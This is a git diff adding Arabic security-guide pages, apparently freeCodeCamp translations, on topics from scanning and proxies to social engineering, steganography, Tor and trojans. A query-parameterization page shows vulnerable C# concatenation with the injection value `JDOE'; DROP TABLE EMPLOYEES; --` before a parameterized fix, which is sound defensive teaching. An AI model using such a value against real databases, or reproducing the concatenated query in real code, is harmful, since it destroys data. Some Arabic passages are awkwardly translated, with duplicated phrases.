+قبل المضي قدمًا في اختبار الاختراق ، يجب أن تضع النقاط التالية في اعتبارك - أولا فهم متطلباتك وتقييم كل المخاطر.
+
+*   توظيف شخص معتمد لإجراء اختبار الاختراق لأنهم مدربون على تطبيق جميع الأساليب والتقنيات الممكنة للكشف عن الثغرات المحتملة في شبكة أو تطبيق ويب.
+*   دائما التوقيع على اتفاق قبل القيام باختبار الاختراق.
+
+## مصادر
+
+[اختبار الاختراق](https://en.wikipedia.org/wiki/Penetration_test)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/proxies/index.md b/client/src/guide/arabic/security/proxies/index.md
new file mode 100644
index 0000000000..1567c7b53e
--- /dev/null
+++ b/client/src/guide/arabic/security/proxies/index.md
@@ -0,0 +1,27 @@
+---
+title: Proxies
+localeTitle: وكلاء
+---
+## وكلاء
+
+بروكسي هي خوادم أو شبكة من أجهزة الكمبيوتر التي تعمل كوسيط بين العميل والخادم.
+
+هذه الأنواع مختلفة من الوكلاء والتي تشمل على سبيل المثال لا الحصر:
+
+*   الوكلاء إلى الأمام
+*   بروكسي عكسي
+*   بروكسيات شفافة
+*   بروكسيات الويب
+
+الأكثر شيوعا المعروفة اليوم هي بروكسيات الويب التي تعمل كوسيط بين كمبيوتر المستخدم والإنترنت.
+
+الملامح العامة لهذه الوكلاء هي:
+
+*   لإخفاء عنوان IP الخاص بالمستخدم الذي يوفر إخفاء الهوية أثناء تصفح الويب.
+*   تمكين المستخدمين من الوصول إلى المواقع باستخدام عناوين IP المحظورة.
+
+#### معلومات اكثر:
+
+[بروكسي سيرفر من ويكيبيديا](https://en.wikipedia.org/wiki/Proxy_server)
+
+[Proxy Server by WhatIs on TechTarget](http://whatis.techtarget.com/definition/proxy-server)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/query-parameterization/index.md b/client/src/guide/arabic/security/query-parameterization/index.md
new file mode 100644
index 0000000000..b4335f7075
--- /dev/null
+++ b/client/src/guide/arabic/security/query-parameterization/index.md
@@ -0,0 +1,72 @@
+---
+title: Query Parameterization
+localeTitle: Parameterization الاستعلام
+---
+## Parameterization الاستعلام
+
+من الأخطاء الشائعة عند ربط البرنامج بقاعدة البيانات قبول إدخال المستخدم وتطبيقه مباشرة على قاعدة البيانات دون التحقق منه أولاً. هذه عادة خطيرة يمكن الدخول فيها ، وقد تسمع مطورين أكثر خبرة يحذرون الآخرين من "تطهير المدخلات" أو "توجيه الاستعلامات".
+
+لنبدأ بمثال قصير يوضح المشكلة:
+
+_(يتم كتابة القصاصات التالية في C # لـ MySQL ، لكن المفهوم ينطبق على أي لغة وقاعدة بيانات)_
+
+### المشكلة
+
+ `public void RetrieveEmployeeInfo(string username) 
+ { 
+    using (var connection = new MySqlConnection("valid_connection_string")) 
+    { 
+        var query = "SELECT * FROM EMPLOYEES WHERE USERNAME = '" + username + "'"; 
+ 
+        using (var command = new MySqlCommand(query, connection)) 
+        { 
+            var reader = command.ExecuteReader(); 
+            while (reader.Read()) 
+            { 
+                // do something with the results of your query, like display the employee 
+            } 
+        } 
+    } 
+ } 
+` 
+
+للوهلة الأولى ، قد يبدو ذلك غير مؤذٍ. إذا قام المستخدم بكتابة "JDOE" في برنامجك ، وتم تمريره إلى هذه الوظيفة ، فسوف ينتهي بك الأمر تنفيذ استعلام كالتالي:
+
+ `SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE'; 
+` 
+
+تصبح المشكلة أكثر وضوحًا عندما تفكر في ما يحدث إذا _لم يقم_ المستخدم بكتابة ما تتوقعه. ماذا لو `JDOE'; DROP TABLE EMPLOYEES; --` شيئًا مثل `JDOE'; DROP TABLE EMPLOYEES; --` ؟ تبدو سلسلة "طلب البحث" الآن مثل هذه ، والتي ستحدد معلومات الموظف ، ثم تحذف جدول EMPLOYEES بأكمله!
+
+ `SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE'; DROP TABLE EMPLOYEES; --' 
+` 
+
+### الحل
+
+لمنع حدوث مثل هذه المشكلات ، يمكننا تحديد طلبات البحث. دعونا ننظر في مثال آخر:
+
+ `public void RetrieveEmployeeInfo(string username) 
+ { 
+    using (var connection = new MySqlConnection("valid_connection_string")) 
+    { 
+        var query = "SELECT * FROM EMPLOYEES WHERE USERNAME = @username"; 
+ 
+        using (var command = new MySqlCommand(query, connection)) 
+        { 
+            command.Parameters.AddWithValue("username", username); 
+ 
+            var reader = command.ExecuteReader(); 
+            while (reader.Read()) 
+            { 
+                // do something with the results of your query, like display the employee 
+            } 
+        } 
+    } 
+ } 
+` 
+
+الآن ما يحدث إذا كان المستخدم `JDOE'; DROP TABLE EMPLOYEES; --` في `JDOE'; DROP TABLE EMPLOYEES; --` ؟ وينتهي برنامجنا بتنفيذ استعلام مثل هذا ، والعثور على أي موظف اسمه الحقيقي يطابق هذا الإدخال ، ببساطة إرجاع أية سجلات.
+
+ `SELECT * FROM EMPLOYEES WHERE USERNAME = 'JDOE\'; DROP TABLE EMPLOYEES; --' 
+` 
+
+بغض النظر عن اللغة أو قاعدة البيانات التي تستخدمها ، إذا كنت تفكر في الاستعلام عن قاعدة البيانات باستخدام مدخلات المستخدم ، فتحقق من الوثائق لمعرفة الطريقة المناسبة لإضفاء طابع المعلمة على الاستعلامات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/scanning/index.md b/client/src/guide/arabic/security/scanning/index.md
new file mode 100644
index 0000000000..1d5618b147
--- /dev/null
+++ b/client/src/guide/arabic/security/scanning/index.md
@@ -0,0 +1,84 @@
+---
+title: Scanning
+localeTitle: مسح
+---
+# مسح
+
+## المقدمة
+
+يشير "المسح عبر الشبكة" إلى مجموعة من الإجراءات الخاصة بتحديد المضيفين والمشاركات والخدمات على الشبكة.
+
+يمكن أن تشتمل أنشطة المسح الضوئي على التحقق من المنافذ المفتوحة على الشبكة ، والاستيلاء على لافتة ، وإنشاء رسوم بيانية للشبكة.
+
+## تقنيات المسح الضوئي
+
+إحدى الطرق الأكثر شيوعًا لفحص الشبكة هي تقنية تسمى Ping Sweep. يمكن أن يحدد ذلك المضيفات النشطة على مجموعة من عناوين IP. مثال بسيط من هذا هو مجرد الذهاب إلى سطر الأوامر الخاص بك وكتابة `ping 8.8.8.8` . سيقوم هذا بإرسال طلب [ICMP](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) ECHO إلى مضيف ، وفي هذه الحالة سيكون هو DNS العام لـ Google.
+
+تتطلب بروتوكولات الإنترنت المختلفة طرقًا مختلفة للمسح الضوئي ؛ على سبيل المثال ، قد يكون مسح شبكة [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) مختلفًا عن مسح شبكة [UDP](https://en.wikipedia.org/wiki/User_Datagram_Protocol) .
+
+تستفيد عمليات فحص TCP بشكل عام من الطريقة التي يعمل بها بروتوكول TCP وكيف يمر بروتوكول TCP "بمصافحة" لبدء الاتصال على شبكة:
+
+1.  يرسل جهاز (Host A) رسالة `SYN` في محاولة للتواصل عبر شبكة إلى جهاز آخر (Server B)
+2.  يحتاج B إلى الرد على A مع `SYN` و `ACK` للإقرار بطلب A لبدء الاتصال
+3.  تحتاج إلى إرسال رسالة `ACK` استجابة B
+4.  يمكن الاتصال ثم تبدأ
+
+خلال هذا الاتصال ، هناك مجموعات من المعلومات يرسلها كل مشارك في محاولة لبدء المحادثة.
+
+لاحظ أنه يمكنك أيضًا فحص شبكات IPv6 (يزيد IPv6 حجم عنوان IP لتوفير المزيد من العناوين).
+
+هناك المزيد من أنواع [الفحص](https://nmap.org/bennieston-tutorial/) التي تزيد من إساءة استخدام عملية تعارف TCP. تشمل هذه الميزات فحص IDLE وفحوص شجرة Xmas ومسح TCP المعكوس و Full Scans.
+
+## المسح في اختبار الاختراق
+
+المسح هو المرحلة الثانية من المراحل الخمس النموذجية لاختبار الاختراق. تتطلب مرحلة الفحص استخدام أدوات تقنية لجمع معلومات استخبارية إضافية عن هدفك ، ولكن في هذه الحالة ، تكون المعلومات التي يتم البحث عنها أكثر شيوعًا حول الأنظمة الموجودة لديها. 1
+
+هناك ثلاثة أهداف رئيسية:
+
+1.  تحديد ما إذا كان النظام على قيد الحياة
+2.  ميناء مسح النظام
+3.  مسح النظام لنقاط الضعف 2
+
+### تحديد ما إذا كان النظام على قيد الحياة
+
+إحدى الطرق لتحديد ما إذا كان النظام المستهدف على قيد الحياة هو باستخدام الأمر **ping** ، كما هو مذكور في تقنية Ping Sweep أعلاه.
+
+فمثلا:
+
+ `ping <target_ip_address> -c <number_of_packets_to_send> 
+ ping 10.10.0.1 -c 4 
+` 
+
+إذا كان النظام الهدف على قيد الحياة ، يجب أن تحصل على رد ظهر يبدو مشابهاً أدناه.
+
+ `Pinging 10.10.0.1 with 32 bytes of data: 
+ 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Reply from 10.0.0.1: bytes=32 time=26ms TTL=240 
+ Ping statistics for 10.10.0.1: 
+    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
+ Approximate round trip times in milliseconds: 
+    Minimum = 26ms, Maximum = 26ms, Average = 26ms 
+` 
+
+*   يشير **الرد من** أن حزمة طلب ارتداد ICMP الخاصة بنا قد تم استلامها في حزمة رد ICMP Echo تم إرسالها مرة أخرى.
+*   **Bytes = 32** يخبرنا أن حجم الحزمة التي تم إرسالها.
+*   **time = 26ms** يتيح لنا معرفة كيفية **تجميع** الوقت الذي استغرقته حزمة طلب ارتداد ICMP للوصول إلى الهدف ولحزمة رد ICMP Echo للرجوع إلى الجهاز الخاص بنا.
+*   **TTL = 240** هي قيمة Time To Live التي تخبرنا بالحد الأقصى لعدد القفزات التي قد تستغرقها الحزمة قبل أن تسقط.
+
+## أدوات المسح
+
+هناك العديد من الأدوات المتاحة للمسح الضوئي ولكن أحد أكثرها شيوعا هو `nmap` . إنها أداة مفيدة مع وظائف مثل الحصول على معلومات حول المضيفين الحيين على الشبكة ، والخدمات التي يتم تشغيلها ، وأنواع وإصدارات نظام التشغيل المستخدمة.
+
+## معلومات اكثر:
+
+*   كيف بينغ في لينكس https://www.wikihow.com/Ping-in-Linux
+*   [فيديو من Gordon Lyon aka Fydor ، مبتكر أداة nmap](https://www.youtube.com/watch?v=Hk-21p2m8YY)
+
+## مصادر
+
+1.  تلخيص المراحل الخمس لاختبار الاختراق. (2015 ، 06 مايو). تم الاسترجاع بتاريخ 26 أكتوبر 2017 ، من https://www.cybrary.it/2015/05/summarizing-the-five-phases-of-penetration-testing/
+
+3.  Engebretson، P. (2013). أساسيات القرصنة والاختبار الاختراق: القرصنة الأخلاقية والاختبار الاختراق سهل إد. 2. تزامن.
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/social-engineering/index.md b/client/src/guide/arabic/security/social-engineering/index.md
new file mode 100644
index 0000000000..e42c34d716
--- /dev/null
+++ b/client/src/guide/arabic/security/social-engineering/index.md
@@ -0,0 +1,50 @@
+---
+title: Social Engineering
+localeTitle: هندسة اجتماعية
+---
+## هندسة اجتماعية
+
+الهندسة الاجتماعية هي فن الوصول إلى نظام أو مورد مضمون من خلال استغلال السلوك البشري. إنها تنطوي على خداع الأشخاص لكسر الإجراءات الأمنية العادية. تعتمد معظم ناقلات الهجوم بشكل كبير على الاستفادة من المهارات التقنية للعثور على الثغرات الموجودة في النظام الأمني. تعتمد الهندسة الاجتماعية بشكل كبير على فهم جيد لعلم النفس البشري. إن إجراء بحث شامل عن الهدف قبل الهجوم يجعل الهندسة الاجتماعية أداة قوية في يد المهاجم.
+
+#### سمات جيدة هاكر الهندسة الاجتماعية
+
+*   يوضح الذكاء العاطفي العالي
+*   فهم حدسي لعلم النفس البشري
+*   ساحرة ومقنعة
+*   المريض والمراقب
+*   بارعون في التنبؤ بسلوك الإنسان القائم على استغلال حاجات الإنسان ليكون مفيدا ، فضوليا ، جشرا ، وعبثا
+
+#### بعض الأمثلة على الاختراقات الهندسة الاجتماعية
+
+*   Baiting: ترك جهاز USB مصاب بالبرامج الضارة في أحد المقاهي على أمل أن يكون أحد الأشخاص فضوليًا بما يكفي لتوصيله والتحقق منه. بمجرد توصيل الشخص USB في ، يتم تثبيت البرامج الضارة على جهاز الكمبيوتر الخاص بهم. انظر "مزيد من المعلومات" لـ Black Hat تتحدث عن ترك محركات USB المصابة وراء الأهداف المحتملة ونتائج مثل هذه الهجمات.
+    
+*   التريث: قول الأكاذيب للوصول إلى المعلومات الخاصة. مثال على ذلك هو انتحال شخصية موظف مصرفي ومطالبة الأشخاص بالمعلومات الشخصية "لتأكيد حسابهم". انظر "مزيد من المعلومات" لمثال ما قبل الرسائل النصية حيث يقوم مهندس اجتماع بإجراء تغييرات على حساب الهاتف الخليوي الخاص بالمستهدف مع معلومات قليلة معروفة.
+    
+*   التصيد الاحتيالي (Phishing): إرسال رسالة بريد إلكتروني تبدو وكأنها من مصدر موثوق به لإدراج المستخدم في النقر فوق أحد الارتباطات (لتثبيت برامج ضارة) أو الرد بمعلومات خاصة. راجع "مزيد من المعلومات" للحصول على ارتباط لاختبار معرفتك عن التصيد الاحتيالي ومعرفة ما إذا كان بإمكانك معرفة الفرق بين البريد الإلكتروني الحقيقي والبريد الإلكتروني التصيد.
+    
+*   التسلل: انتحال شخصية شرعية من أجل الوصول الفعلي إلى مبنى / مكتب وما إلى ذلك ، على سبيل المثال ، شخص إصلاح آلة القهوة
+    
+
+#### الوقاية والأمن
+
+نظرًا لأن الهندسة الاجتماعية لا تتطلب سوى خبرة بسيطة بالكمبيوتر ، فهي أداة متاحة بسهولة للأفراد الذين يرغبون في الوصول إلى بيانات حساسة.
+
+الخطوات التي يمكن أن يتخذها شخص ما لحماية نفسه من هذه الهجمات تشمل:
+
+*   تجنب مشاركة البيانات الحساسة على الإطلاق ، إن أمكن.
+*   إذا كان يجب عليك المشاركة ، تحقق من المصدر قبل إعطائه بيانات حساسة.
+*   احذر من رسائل البريد الإلكتروني العشوائية أو أرقام الهواتف التي تدّعي أنها أصدقاء أو عائلة أو زملاء عمل أو مؤسسات أو غير ذلك.
+*   كن على دراية بالناس في الحياة الواقعية الذين يطلبون معلومات لا ينبغي بالضرورة استرجاعها.
+*   تدمير وثائق مهمة قبل رميها بعيدا.
+
+بشكل عام ، كلما زادت معرفتك بهذه الهجمات ، كلما كنت مستعدًا بشكل أفضل. كن متعاطفًا مع من تشارك المعلومات معه ولماذا.
+
+#### معلومات اكثر:
+
+*   [ما هي الهندسة الاجتماعية؟](https://www.webroot.com/us/en/home/resources/tips/online-shopping-banking/secure-what-is-social-engineering)
+*   [حماية نفسك من هجمات الهندسة الاجتماعية](http://www.makeuseof.com/tag/protect-8-social-engineering-attacks/)
+*   [7 أفضل الهندسة الاجتماعية هاك من أي وقت مضى](https://www.darkreading.com/the-7-best-social-engineering-attacks-ever/d/d-id/1319411?)
+*   [القرصنة البشر: تقنيات الهندسة الاجتماعية وكيفية حمايتها ضدهم](https://www.youtube.com/watch?v=YVqurfWzB-Q)
+*   [هل إسقاط محركات الأقراص USB في أماكن وقوف السيارات وأماكن أخرى تعمل حقا؟](https://www.youtube.com/watch?v=XJCQBqTmGUU)
+*   [مثال على الذكاء](https://www.youtube.com/watch?v=lc7scxvKQOo)
+*   [اختبار الذكاء الخداع الخاص بك](https://www.sonicwall.com/en-us/phishing-iq-test)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/steganography/index.md b/client/src/guide/arabic/security/steganography/index.md
new file mode 100644
index 0000000000..912ee7b628
--- /dev/null
+++ b/client/src/guide/arabic/security/steganography/index.md
@@ -0,0 +1,39 @@
+---
+title: Steganography
+localeTitle: إخفاء المعلومات
+---
+## إخفاء المعلومات
+
+إخفاء المعلومات هو مفهوم إحاطة النص والصور والملفات أو مقاطع الفيديو داخل نصوص أو صور أو ملفات أو مقاطع فيديو أخرى. مثال على ذلك دون اتصال يستخدم "الحبر غير المرئي" لإخفاء رسالة بين سطور الحرف. عصير الليمون هو مرشح شائع للحبر غير المرئي: [عصير الليمون حبر غير مرئي](https://www.youtube.com/embed/poCnU_crpjQ)
+
+توفر الصيغة التالية وصفًا عامًا جدًا لقطع عملية الإخفاء:
+
+غطاء _وسطى_ + بيانات _مخفية_ + _مفتاح_ إخفاء المعلومات _\=_ وسيط _تصويرى_
+
+في هذا السياق ، يعد _وسيط_ الغلاف _هو الملف الذي يحجب_ البيانات _المخفية_ ، والتي قد يتم تشفيرها أيضًا باستخدام _مفتاح_ إخفاء المعلومات _. الملف الناتج هو_ وسيلة _إخفاء المعلومات_ . ويكون _وسط_ الغلاف _(وبالتالي ،_ وسيلة _إخفاء المعلومات_ ) عادةً عبارة عن ملفات صور أو ملفات صوتية.
+
+### إخفاء المعلومات في الصور
+
+على أجهزة الكمبيوتر ، يتم تخزين الصور كملفات ثنائية. وهي تحتوي على تمثيل ثنائي للون أو شدة الضوء لكل عنصر صورة (بيكسل) يشتمل على الصورة. على سبيل المثال ، هذه الصورة للكلب:
+
+![الكلب الاسكيمو الأمريكية](https://upload.wikimedia.org/wikipedia/commons/4/47/American_Eskimo_Dog.jpg)
+
+قد يبدأ بشيء مثل:
+
+ `10010101   00001101   11001001 
+ 10010110   00001111   11001010 
+ 10011111   00010000   11001011 
+ ... 
+` 
+
+ويطلق على أبسط طريقة لإخفاء البيانات داخل ملف الصورة إدخالاً بتات أقل دلالة (LSB). في هذه الطريقة ، يمكننا أخذ التمثيل الثنائي _للبيانات_ المخفية _والكتابة فوق LSB لكل بايت داخل_ صورة _الغلاف_ . إذا كنا نستخدم ألوان 24 بت ، فإن مقدار التغيير سيكون ضئيلاً ولا يمكن تمييزه عن العين البشرية.
+
+بينما يمكن استخدام JPEG لتطبيقات stego ، فمن الشائع أكثر تضمين البيانات في ملفات GIF أو BMP. تستخدم ملفات BMP و GIF ذات 8 بت ما يعرف بالضغط بدون خسارة ، وهو نظام يسمح للبرنامج بإعادة بناء الصورة الأصلية تمامًا. من ناحية أخرى ، يستخدم JPEG ضغطًا ضارًا ، مما يعني أن الصورة الموسعة تقريبًا تقريبًا مثل الصورة الأصلية ولكنها ليست نسخة طبق الأصل بالضبط.
+
+سيجعلك هذا العرض التوضيحي القصير معدًا بترميز النص في صورة ما! https://github.com/edwdryer/steganography-demo يمكنك قراءة المزيد عن إخفاء المعلومات في الصور هنا: http://www.garykessler.net/library/steganography.html
+
+### إخفاء الصوت في الصوت
+
+إخفاء الصوت هو تقنية تستخدم لنقل المعلومات المخفية عن طريق تعديل إشارة صوتية بطريقة غير محسوسة.
+
+هذا بلوق يوفر مثالا لإخفاء صورة في ملف صوتي (نجاح باهر)! https://solusipse.net/blog/post/basic-methods-of-audio-steganography-spectrograms/
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/tools/index.md b/client/src/guide/arabic/security/tools/index.md
new file mode 100644
index 0000000000..40aa384547
--- /dev/null
+++ b/client/src/guide/arabic/security/tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Security Tools
+localeTitle: أدوات الأمان
+---
+## أدوات الأمان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/security/tools/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/tor/index.md b/client/src/guide/arabic/security/tor/index.md
new file mode 100644
index 0000000000..bc278f435b
--- /dev/null
+++ b/client/src/guide/arabic/security/tor/index.md
@@ -0,0 +1,26 @@
+---
+title: Tor (The Onion Router)
+localeTitle: تور (راوتر البصل)
+---
+![شعار تور](https://upload.wikimedia.org/wikipedia/commons/thumb/1/15/Tor-logo-2011-flat.svg/2000px-Tor-logo-2011-flat.svg.png)
+
+## تور
+
+يرمز Tor إلى "جهاز Onion Router" ، وهو برنامج مجاني يساعد على إخفاء هوية مستخدمي الإنترنت باستخدام الإنترنت ، والمحافظ عليه بواسطة Tor Project.
+
+بالإضافة إلى جهاز Onion Router ، يحافظ Tor Project على حزمة من البرامج ، وأبرزها متصفح ويب ، والذي غالبًا ما يكون أيضًا دعا تور.
+
+تعمل شبكة Onion Network عن طريق الارتداد إلى طلبات المستخدمين من خلال شبكة كبيرة ومتطوعة من أجهزة الكمبيوتر في جميع أنحاء العالم. يرسل الطلبات عبر النظام المشفر ، ويفك تشفيرها فقط عند الوصول إلى "عقدة الخروج" ، آخر جهاز كمبيوتر في الشبكة لأي طلب معين قبل إرسال الطلب إلى وجهته. هذا يجعل الرسالة تبدو وكأنها قادمة من مكان آخر غير المكان الذي نشأت فيه بالفعل.
+
+لدى Tor العديد من حالات الاستخدام. الصحفيون الذين ينقلون الأخبار من المناطق التي قد تتعرض حياتهم لخطر الانقراض بسبب طبيعة القصص التي يكسرونها ، والمبلغون عن المخالفات ، والأشخاص الذين يعيشون في أنظمة قمعية يتناسبون جميعًا مع حالات تور الأكثر استخدامًا ، بالإضافة إلى أي شخص أكثر اهتمامًا بإخفاء الهوية عبر الإنترنت.
+
+حصل تور على الكثير من الاهتمام السلبي بسبب قضيته الجنائية. يمكن للمجرمين ، مثل تجار المخدرات ، وغالبا ما يستخدمون تور في تغطية مساراتهم ، وإنشاء "أسواق مظلمة" لبيع بضائعهم دون المساومة على أنفسهم. من المؤكد أن إغلاق "ألفا باي" و "هانزا" في عام 2017 يثبتان أنه لا يكاد يكون مضمونًا.
+
+وقد ذكر إدوارد سنودن ، من وكالة الأمن القومي ، أن المبلغ الذي قدمه هو برنامج جيد للغاية. بشكل مشابه ، يشار إلى مذكرة داخلية لوكالة الأمن القومي تم تسريبها بأنها "ملك أمن الإنترنت عالي الأمان ، منخفض الكآبة ، لا توجد منافسين للعرش في الانتظار".
+
+لدى Tor العديد من الحالات الأخرى. الصحفيون الذين ينقلون الأخبار من المناطق التي قد تتعرّض حياتهم للخطر بسبب طبيعة القصص التي يكسرونها ، والمدونين ، والأشخاص الذين يعيشون في أنظمة قمعية يتناسبون جميعًا مع حالات تور الأكثر اعتدالًا ، بالإضافة إلى أي شخص مهتم أكثر بإخفاء الهوية عبر الإنترنت. هذا أمر مهم لأن الأشياء اليومية تجعلنا نفقد المزيد والمزيد من الخصوصية القليلة المتبقية لنا ، فإن أشياء مثل TOR تضمن مستقبلًا أكثر إشراقًا.
+
+#### معلومات اكثر:
+
+[مشروع تور](https://www.torproject.org)  
+[NSA و GCHQ في محاولة للقضاء على تور](https://www.theguardian.com/world/2013/oct/04/nsa-gchq-attack-tor-network-encryption)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/traceroute/index.md b/client/src/guide/arabic/security/traceroute/index.md
new file mode 100644
index 0000000000..687d8c0c7d
--- /dev/null
+++ b/client/src/guide/arabic/security/traceroute/index.md
@@ -0,0 +1,65 @@
+---
+title: Traceroute
+localeTitle: متتبع
+---
+**جدول المحتويات**
+
+*   [متتبع](#traceroute)
+*   [كيف تنتقل البيانات عبر الإنترنت](#how-data-travels-across-the-internet)
+*   [بعض الأمثلة على الاستخدام](#some-examples-for-usage)
+*   [معلومات اكثر](#more-information)
+
+## متتبع
+
+Traceroute هو أداة تشخيصية لشبكة الكمبيوتر لعرض المسار (المسار) وقياس التأخيرات العابرة للحزم عبر شبكة بروتوكول الإنترنت (IP). يتم تسجيل تاريخ المسار كأوقات ذهاب وإياب للحزم المستلمة من كل مضيف متتابع (عقدة بعيدة) في المسار (المسار) ؛ مجموع المرات الزمنية في كل قفزة هو قياس إجمالي الوقت المستغرق في تأسيس الاتصال. تستمر عملية traceroute ما لم يتم فقدان جميع الحزم المرسلة (ثلاثة) أكثر من مرتين ، ثم يتم فقد الاتصال ولا يمكن تقييم المسار. بينج ، من ناحية أخرى ، فقط يحسب أوقات ذهاب وإياب النهائي من نقطة الوجهة.
+
+#### كيف تنتقل البيانات عبر الإنترنت
+
+يتم تعريف كل جهاز كمبيوتر في traceroute بواسطة عنوان IP الخاص به ، وهو الرقم المكون من تسعة أرقام المفصولة بنقاط يحدد اتصال شبكة الاتصال الفريد للكمبيوتر. فيما يلي بعض التفاصيل المتعلقة بتتبع المسار:
+
+ `- The journey from one computer to another is known as a hop. 
+ - The amount of time it takes to make a hop is measured in milliseconds. 
+ - The information that travels along the traceroute is known as a packet. 
+` 
+
+عادةً ما تعرض قراءات traceroute ثلاثة أعمدة منفصلة لوقت القفزة ، حيث يرسل كل traceroute ثلاثة حزم منفصلة للمعلومات لكل كمبيوتر. في الجزء العلوي من القائمة ، سيعطي traceroute حد عدد خطوط القفزات التي سيعرضها — 30 قفزة هو غالباً العدد الأقصى.
+
+عندما يواجه traceroute صعوبة في الوصول إلى جهاز كمبيوتر ، سيعرض الرسالة "انقضاء مهلة الطلب". سيعرض كل عمود من الأعمدة النجمة بدلاً من عدد الميلي ثانية.
+
+#### بعض الأمثلة على الاستخدام
+
+تتضمن معظم التطبيقات خيارات على الأقل لتحديد عدد الاستعلامات لإرسال كل مرحلة ، ووقت انتظار استجابة ، والحد الأقصى لمنفذ الاستخدام والمنفذ المراد استخدامه. يؤدي استدعاء traceroute بدون خيارات محددة إلى عرض قائمة الخيارات المتاحة ، بينما يعرض traceroute للإنسان المزيد من التفاصيل ، بما في ذلك إشارات الخطأ المعروضة. مثال بسيط على Linux:
+
+ `[root@example ~]#  traceroute -w 3 -q 1 -m 16 www.google.com 
+ traceroute to www.google.com (216.58.200.36), 16 hops max, 60 byte packets 
+ 1  192.168.4.2 (192.168.4.2)  0.136 ms 
+ 2  * 
+ 3  * 
+ 4  * 
+ 5  * 
+ 6  * 
+ 7  * 
+ 8  * 
+ 9  * 
+ 10  * 
+ 11  * 
+ 12  * 
+ 13  * 
+ 14  * 
+ 15  * 
+ 16  * 
+` 
+
+في المثال أعلاه ، فإن الخيارات المحددة هي الانتظار لمدة ثلاث ثوانٍ (بدلاً من خمسة) ، وإرسال طلب بحث واحد فقط لكل قفزة (بدلاً من ثلاثة) ، والحد من الحد الأقصى لعدد القفزات إلى 16 قبل الاستسلام (بدلاً من 30) ، مع www.google.com كمضيف نهائي.
+
+يمكن أن يساعد ذلك في تحديد تعريفات جدول التوجيه غير الصحيح أو جدران الحماية التي قد تمنع حركة مرور ICMP أو UDP عالي المنفذ في Unix ping ، إلى موقع. لاحظ أن جدار الحماية قد يسمح بحزم ICMP ولكن لا يسمح بحزم البروتوكولات الأخرى.
+
+كما يتم استخدام traceroute بواسطة مختبري الاختراق لجمع معلومات حول البنية الأساسية للشبكة ونطاقات IP حول مضيف معين.
+
+ويمكن أيضًا استخدامه عند تنزيل البيانات ، وإذا كانت هناك مرايا متعددة متوفرة لنفس قطعة البيانات ، فيمكن للمرء تتبع كل مرآة للحصول على فكرة جيدة عن أي مرآة ستكون الأسرع في الاستخدام.
+
+#### معلومات اكثر
+
+اقرأ على مزيد من المعلومات حول Traceroute:
+
+*   [كيفية استخدام TRACERT في ويندوز](https://support.microsoft.com/en-us/help/314868/how-to-use-tracert-to-troubleshoot-tcp-ip-problems-in-windows) - [كيفية استخدام TRACERT في لينكس](https://www.lifewire.com/traceroute-linux-command-4092586)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/trojans/index.md b/client/src/guide/arabic/security/trojans/index.md
new file mode 100644
index 0000000000..6f08458f61
--- /dev/null
+++ b/client/src/guide/arabic/security/trojans/index.md
@@ -0,0 +1,34 @@
+---
+title: Trojans
+localeTitle: حصان طروادة
+---
+## حصان طروادة
+
+### ما هو حصان طروادة؟
+
+أحصنة طروادة هي برامج أو برامج تضلل المستخدم على غرضها الحقيقي. هم في كثير من الأحيان خبيثة أو ضارة.
+
+مثال على ذلك هو البرنامج الذي تقوم بتنزيله من الإنترنت والذي يدعي أنه محرر صور ولكن في الواقع ، عند فتحه ، يتم نشر البرامج الضارة على جهاز الكمبيوتر الخاص بك.
+
+### ماذا تفعل حصان طروادة؟
+
+*   **إنشاء النوافذ الخلفية: تقوم** Trojans عادة بإجراء تغييرات على نظام الأمان الخاص بك بحيث يمكن أن تدخل البرامج الضارة الأخرى أو حتى الهاكر.
+*   **التجسس:** بعض برامج Trojans هي برامج تجسس مصممة بشكل أساسي للانتظار حتى الوصول إلى حساباتك على الإنترنت أو إدخال تفاصيل بطاقة الائتمان الخاصة بك ، ثم إرسال كلمات المرور الخاصة بك والبيانات الأخرى إلى سيدها.
+*   **تحويل جهاز الكمبيوتر الخاص بك إلى غيبوبة!** في بعض الأحيان ، لا يهتم أحد المتسللين بك ، ولكنه يريد فقط استخدام جهاز الكمبيوتر الخاص بك كعبد في شبكة تحت سيطرته.
+*   **إرسال رسائل SMS مكلفة:** حتى الهواتف الذكية تحصل على أحصنة طروادة ، والطريقة الأكثر شيوعًا للمجرمين لجني المال هو استخدامها لجعل هاتفك يرسل رسائل SMS مكلفة إلى أرقام مميزة.
+
+### أهمية للمطورين
+
+كمطور ، من المهم بشكل خاص أن تكون على دراية بأحصنة طروادة وكيف تنتشر. في كثير من الأحيان يتم تثبيت أحصنة طروادة من خلال "برامج التحميلات" على مواقع الويب الشرعية. إذا تمكن المهاجم من الوصول إلى بيئة استضافة موقعك على الويب ، فيمكنه إجراء تغييرات بسيطة على شفرتك والتي تتسبب في تنزيل برنامج Trojan تلقائيًا من قِبل زوار موقعك على الويب.
+
+### ماذا تبدو طروادة؟
+
+يمكن أن يبدو مثل أي شيء. في الغالب يتم تنزيل الملفات من موقع ويب غير موثوق به.
+
+### كيف أحمي نفسي ضد أحصنة طروادة؟
+
